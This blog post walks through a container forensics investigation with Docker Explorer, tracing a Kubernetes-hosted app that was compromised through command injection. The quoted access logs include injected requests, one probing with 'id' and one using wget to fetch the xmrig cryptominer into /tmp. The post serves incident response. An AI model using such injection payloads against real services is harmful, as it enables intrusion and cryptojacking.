Container Forensics with Docker Explorer
As previous blog posts on cloud forensics have noted, applications are increasingly being deployed using container orchestration frameworks such as Kubernetes, especially in cloud environments.
Similar to traditional deployments on physical servers or virtual machines (VMs), when a containerised application has a security issue it can lead to a compromise of the underlying compute architecture. In the case of container deployments this means a compromise of the container itself, the container host, or even a wider cluster compromise via abuse of orchestration tools. Often digital forensics is required to establish what went wrong and remediate any issues.
This article will provide an introduction to container forensics with Docker Explorer by working through a scenario involving a compromised container running within a Kubernetes cluster. Although Kubernetes is briefly mentioned, this article will focus on analysis of an individual container rather than the wider cluster or container host.
Often compared to virtual machines (VMs), containers use operating system features to partition system resources, allowing applications to run in an isolated environment.
While containers are enabled by features at the operating system level, they are generally managed at a higher level of abstraction. Container tooling generally falls into two categories relevant for this blog post:
Tools for managing individual containers such as Docker, sometimes referred to as a container "runtime". These tools generally handle starting and stopping containers on a single host, and managing container images.
Frameworks for managing a whole cluster of containers and their deployment across multiple hosts such as Kubernetes, often referred to as container orchestration tools. These tools manage whole groups of containers generally representing an application deployment.
This blog post will mostly focus on analysis of an individual container rather than a cluster or container host, however, it is useful to be knowledgeable about all levels as containers are more often than not deployed within a cluster.
The main elements of interest from a digital forensics perspective are how containers store data and how they export logs.
Containers use union filesystems to maintain shared lower image layers and reduce disk usage, this means that in order to get a full view of a container's filesystem, all layers within the chain have to be mounted. While this can be done manually, Docker Explorer has functionality to mount all the layers in a chain given a container identifier which can speed up this process.
Generally Docker exports a containerised application's logs on the container host in the form of a JSON file within the Docker directory.
The following scenario will help to demonstrate how Docker Explorer can assist analysis.
The scenario is based around a vulnerable application being deployed within a Kubernetes cluster which is subsequently exploited to run a cryptocurrency miner. It assumes that a snapshot of the affected VM hosting the container has already been taken and used to create a disk copy which has been attached to an analysis VM. This can be achieved using Cloud Forensic Utils in conjunction with DFTimewolf.
Ensure the analysis VM has a working Python 3 environment with the venv module installed:
Create and activate a Python virtualenv then install wheel and Docker Explorer:
Once everything is installed, mount the compromised VM image:
Identifying the Compromised Container
Running Docker Explorer against the Docker directory with the "list all_containers" command returns too much output to be useful. This is fairly common on Kubernetes nodes as they run a number of containers as part of Kubernetes:
The jq JSON filtering tool can be used to filter for values of interest such as the the image_name:
This shows that most of the containers are part of Kubernetes however the last two come from a private repository and are worthwhile investigating.
Narrowing down on these two with jq we can find the two container_ids and logs of interest:
Analysing the Container Logs
Now that we have two suspect containers, the next step is to examine the logs and see if anything stands out:
Something looks suspicious in the logs, the usage message for ping is being printed, suggesting that this application is running shell commands with incorrect arguments. Further review shows:
What looks like some initial probing:
GET /admin HTTP/1.1
Followed by the discovery of a possible command injection vulnerability:
GET /?target=localhost;id HTTP/1.1
And then a cryptominer being downloaded
GET /?target=;wget https://github.com/xmrig/xmrig/releases/download/v6.6.0/ xmrig-6.6.0-linux-static-x64.tar.gz -q -O /tmp/a
Mounting the Container Filesystem
At this point it seems we have found the source of the issue and we have a suspect file path "/tmp/a" (relative to the root of the container's own filesystem) but mounting the container will confirm our hypothesis:
As suspected, the xmrig cryptocurrency miner has been downloaded and run via the vulnerability.
A note on clusters: Oftentimes when an application is deployed within a Kubernetes cluster, data is stored on a separate persistent volume. If you can't find what you're looking for on a container filesystem it is worth taking a look at the broader cluster to see if there are any persistent volumes, the Docker Explorer mount command will have noted if there were any volumes it couldn't find during mounting. If all disks attached to the compromised VM were copied with cloud-forensic-utils, the disk backing the volume should have been copied as well and should be mounted and analysed separately.
Viewing Container History
Viewing container history can be useful to get further context on what is running in the container and determine how it was compromised.
Running the Docker Explorer history command shows that it is running a Python application called "ping.py":
Having a quick look at this file confirms the hypothesis about a command injection vulnerability:
At this point it would be worthwhile reviewing the rest of the logs to see what other commands have been run through the vulnerability and perform standard digital forensics on the mounted image such as generating timelines.
Although out of scope for this blog, it is important to note that a container compromise can lead to a wider cluster/cloud environment compromise and this should be considered in any investigation of a compromised container.
Although fairly contrived, the example scenario has demonstrated some of the basics of container forensics, how to find the compromised container on a host and how to access the relevant forensic data. Oftentimes the compromised container won't be quite as obvious but the basic steps will be the same.
While these steps can be carried out manually, Docker Explorer can greatly speed up analysis by helping to triage all containers on a host and mounting a container's filesystem in one step.
Docker Explorer: https://github.com/google/docker-explorer
Cloud Forensic Utils: https://github.com/google/cloud-forensics-utils
DF Timewolf: https://github.com/log2timeline/dftimewolf
Kubernetes Security: https://kubernetes.io/docs/concepts/security/
Kubernetes Persistent Volumes: https://kubernetes.io/docs/concepts/storage/persistent-volumes/
Command Injection Vulnerabilities: https://owasp.org/www-community/attacks/Command_Injection